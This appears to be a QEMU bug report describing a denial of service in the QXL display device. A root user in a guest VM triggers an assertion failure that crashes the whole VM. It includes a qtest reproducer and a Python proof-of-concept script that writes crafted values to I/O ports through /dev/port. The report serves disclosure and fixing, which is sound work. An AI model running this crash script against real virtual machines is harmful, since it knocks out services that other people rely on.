DoS via assert failure by guest user Description of problem: As root in guest VM user can execute special script, which crashes the whole VM with error ```plaintext hw/display/qxl.c:1594 inside of function void qxl_set_mode(PCIQXLDevice *, unsigned int, int): Assertion `qxl_add_memslot(d, 0, devmem, QXL_SYNC) == 0` failed ``` Steps to reproduce: 1. This bug can be reproduced with: ```bash cat << EOF | ./build/qemu-system-x86_64 -vga qxl -m 2048 -nodefaults -qtest stdio outl 0xcf8 0x8000101c outl 0xcfc 0xc000 outl 0xcf8 0x80001001 outl 0xcfc 0x01000000 outl 0xc006 0x00 EOF ``` 2. Also, we can execute this python3 script inside guest VM as root (to invoke VM use command: **_qemu-system-x86_64 -vga qxl -hda debian.img -m 2048 -nodefaults_**): ```python import os f = os.open("/dev/port", os.O_RDWR|os.O_NDELAY) l = os.lseek(f, 0xcf8, 0) os.write(f, b'\x80\x00\x10\x1c') l = os.lseek(f, 0xcfc, 0) os.write(f, b'\xc0\x00') l = os.lseek(f, 0xcf8, 0) os.write(f, b'\x80\x00\x10\x01') l = os.lseek(f, 0xcfc, 0) os.write(f, b'\x01\x00\x00\x00') l = os.lseek(f, 0xc006, 0) os.write(f, b'\x00') ``` This script causes VM to crash.
